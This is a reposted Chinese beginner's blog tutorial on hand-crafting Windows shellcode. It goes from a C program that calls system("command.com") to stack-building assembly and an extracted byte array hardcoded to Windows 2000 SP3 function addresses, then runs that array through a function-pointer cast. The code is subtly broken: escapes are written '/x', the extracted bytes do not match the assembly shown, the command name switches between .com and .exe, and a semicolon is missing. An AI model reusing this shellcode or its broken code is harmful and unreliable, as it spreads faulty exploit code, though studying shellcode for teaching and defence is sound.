打造windows下的shellcode

为了帮助初学者了解ShellCode的编写,并能一步一步操作得到自己的ShellCode,因此将Windows下ShellCode的编写过程作详细的介绍,以利于像我一样的菜鸟,最终能够写出简单的但却是真实的ShellCode;而进一步高级的ShellCode的编写,也会在系列后面的文章中一步一步的演示的,希望大家会发现,Exp真好,ShellCode最美妙!

    ShellCode简介和编写步骤

       从以前的文章和别人的攻击代码中可以知道,ShellCode是以“/xFF/x3A/x45/x72……”的形式出现在程序中的,而Exploit的构造就是想方设法地使计算机能转到我们的ShellCode上来,去执行“/xFF/x3A/x45/x72……”――由此看出,ShellCode才是Exploit攻击的真正主宰(就如同独行者是我们文章的主宰一样)。而ShellCode的“/xFF/x3A/x45/x72……”那些值,其实是机器码的形式,和一般程序在内存里面存的东东是没什么两样的,攻击程序把内存里面的数据动态改成ShellCode的值,再跳过去执行,就如同执行一个在内存中的一般程序一样,只不过完成的是我们的功能,溢出攻击就这样实现了。

       在此可以下个定义:ShellCode就是一段程序的机器码形式,而ShellCode的编写过程,就是得到我们想要程序的机器码的过程。

       当然ShellCode的特殊性和Windows下函数调用的特点,决定了和一般的汇编程序有所不同。所以其编写步骤应该是,

1.构想ShellCode的功能;
2.用C语言验证实现;
3.根据C语言实现,改成带有ShellCode特点的汇编;
4.最后得到机器码形式的ShellCode。
其中最重要的是第三步――改成有ShellCode特点的汇编,将在本文的后面讲到。

       首先第一步是构想ShellCode的功能。我们想要的功能可能是植入木马,杀掉防火墙,倒流时光,发电磁波找外星人等等(WTF:咳……),但最基本的功能,还是希望开一个DOS窗口,那我们可以在DOS窗口中做很多事情,所以先介绍开DOS窗口ShellCode的写法吧。

C语言代码
比如下面这个程序就可以完成开DOS窗口的功能,大家详细看下注释:

#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);     //定义函数指针
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvCRT.dll”);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找System函数地址
(ProcAdd) ("command.com");     //其实就是执行System(“command.com”)
return 0;
}

       其实执行System(“command.com”)也可以完成开DOS窗口的功能,写成这么复杂是有原因的,解释一下该程序:首先Typedef void (*MYPROC)(LPTSTR)是定义一个函数指针类型,该类型的函数参数为是字符串,返回值为空。接着定义MYPROC ProcAdd,使ProcAdd为指向参数为是字符串,返回值为空的函数指针;使用LoadLibrary(“msvcrt.dll”);装载动态链接库msvcrt.dll;再使用ProcAdd = (MYPROC) GetProcAddress(LibHandle, System)获得 System的真实地址并赋给ProcAdd,之后ProcAdd里存的就是System函数的地址,以后使用这个地址来调用System函数;最后(ProcAdd) ("command.com")就是调用System("command.com"),可以获得一个DOS窗口。在窗口中我们可以执行Dir,Copy等命令。如下图1所示。


打造Windows下自己的ShellCode

图1

    获得函数的地址

       程序中用GetProcAddress函数获得System的真实地址,但地址究竟是多少,如何查看呢?

       在VC中,我们按F10进入调试状态,然后在Debug工具栏中点最后一个按钮Disassemble和第四个按钮Registers,这样出现了源程序的汇编代码和寄存器状态窗口,如图2所示

打造Windows下自己的ShellCode

图2

       继续按F10执行,直到到ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System")语句下的Cll dword ptr [__imp__GetProcAddress@8 (00424194)]执行后,EAX变为7801AFC3,说明在我的机器上System( )函数的地址是0x7801AFC3。如图3所示。

打造Windows下自己的ShellCode

图3

       WTF:注意本次测试中读者的机器是Windows 2000 SP3,不同环境可能地址不同。

       为什么EAX就是System( )函数的地址呢?那是因为函数执行的返回值,在汇编下通常是放在EAX中的,这算是计算机系统的约定吧,所以GetProcAddress(”System”)的返回值(System函数的地址),就在EAX中,为0x7801AFC3。

    Windows下函数的调用原理

       为什么要这么麻烦的得到System函数的地址呢?这是因为在Windows下,函数的调用方法是先将参数从右到左压入堆栈,然后Call该函数的地址。比如执行函数Fun(argv1, argv2),先把参数从右到左压入堆栈,这里就是依次把argv2,argv1压入堆栈里,然后Call Fun函数的地址。这里的Call Fun函数地址,其实等于两步,一是把保存当前EIP,二是跳到Func函数的地址执行,即Push     EIP + Jmp Fun。其过程如下图4所示。

打造Windows下自己的ShellCode

图4

       同理,我们要执行System("command.com"):首先参数入栈,这里只有一个参数,所以就把Command.com的地址压入堆栈,注意是Command.com字符串的地址;然后Call System函数的地址,就完成了执行。如图5所示。

打造Windows下自己的ShellCode

图5

    构造有ShellCode特点的汇编

       明白了Windows函数的执行原理,我们要执行System(“Command.exe”),就要先把Command.exe字符串的地址入栈,但Command.exe字符串在哪儿呢?内存中可能没有,但我们可以自己构造!

       我们把‘Command.exe’一个字符一个字符的赋给堆栈,这样‘Command.exe’字符串就有了,而栈顶的指针ESP正好是Command.exe字符串的地址,我们Push esp,就完成了参数――Command.exe字符串的地址入栈。如下图6所示。

打造Windows下自己的ShellCode

图6

       参数入栈了,然后该Call System函数的地址。刚才已经看到,在Windows 2000 SP3上,System函数的地址为0x7801AFC3,所以Call 0x7801AFC3就行了。
把思路合起来,可以写出执行System(“Command.exe”)的带有ShellCode特点的汇编代码如下。

mov esp,ebp ;
      push ebp ;
      mov ebp,esp ;       把当前esp赋给ebp
xor edi,edi ;
      push edi ;压入0,esp-4,; 作用是构造字符串的结尾/0字符。
      sub esp,08h ;加上上面,一共有12个字节,;用来放"command.com"。
      mov byte ptr [ebp-0ch],63h ;     c
      mov byte ptr [ebp-0bh],6fh ;     o
      mov byte ptr [ebp-0ah],6dh ;     m
      mov byte ptr [ebp-09h],6Dh ;     m
      mov byte ptr [ebp-08h],61h ;     a
      mov byte ptr [ebp-07h],6eh ;     n
      mov byte ptr [ebp-06h],64h ;     d
      mov byte ptr [ebp-05h],2Eh ;     .
      mov byte ptr [ebp-04h],63h ;     c
      mov byte ptr [ebp-03h],6fh ;     o
      mov byte ptr [ebp-02h],6dh ;     m一个一个生成串"command.com".
      lea eax,[ebp-0ch] ;   
      push eax ;       command.com串地址作为参数入栈
      mov eax, 0x7801AFC3 ;
      call eax ;        call System函数的地址

       明白了原理再看实现,是不是清楚了很多呢?

    提取ShellCode

       首先来验证一下,在VC中可以用__asm关键字插入汇编,我们把System(“Command.exe”)用我们写的汇编替换,LoadLibrary先不动,然后执行,成功!弹出了我们想要的DOS窗口。如下图7所示。

打造Windows下自己的ShellCode

图7

       同样的道理,LoadLibrary(“msvcrt.dll”)也仿照上面改成汇编,注意LoadLibrary在Windows 2000 SP3上的地址为0x77e69f64。把两段汇编合起来,将其编译、链接、执行,也成功了!如下图8所示。

打造Windows下自己的ShellCode

图8

       有了上面的工作,提取ShellCode就只剩下体力活了。我们对刚才的全汇编的程序,按F10进入调试,接着按下Debug工具栏的Disassembly按钮,点右键,在弹出菜单中选中Code Bytes,就出现汇编对应的机器码。因为汇编可以完全完成我们的功能,所以我们把汇编对应的机器码原封不动抄下来,就得到我们想要的ShellCode了。提取出来的ShellCode如下。

unsigned char shellcode[] =
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA"
"/x64/x9f/xE6/x77"     //sp3 loadlibrary地址0x77e69f64
"/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8"
"/xc3/xaf/x01/x78"     //sp3 System地址0x7801afc3
"/xFF/xD0";

    验证ShellCode

       最后要验证提取出来的ShellCode能否完成我们的功能。在以前的文章中已经说过方法,只需要新建一个工程和c源文件,然后把ShellCode部分拷下来,存为一个数组,最后在main中添上( (void(*)(void)) &shellcode )(),如下:

unsigned char shellcode[] =
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA"
"/x64/x9f/xE6/x77"     //sp3 loadlibrary地址0x77e69f64
"/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8"
"/xc3/xaf/x01/x78"     //sp3 System地址0x7801afc3
"/xFF/xD0";
int main()
{
( (void(*)(void)) &shellcode )()
return 0;
}

       ( (void(*)(void)) &shellcode )()这句话是关键,它把ShellCode转换成一个参数为空,返回为空的函数指针,并调用它。执行那句就相当于执行ShellCode数组里的那些数据。如果ShellCode正确,就会完成我们想要的功能,出现一个DOS窗口。我们亲自编写的第一个ShellCode成功完成!


    小结

       这个ShellCode的功能还比较单薄,而且通用性也待进一步研究,但的确是一个由我们亲自打造出来的ShellCode,而且现实中的ShellCode也是这样写出来的。只要我们掌握了基本的方法,以后就可以在广阔的空间中自由翱翔!

猜你喜欢

转载自blog.csdn.net/bobopeng/article/details/39118231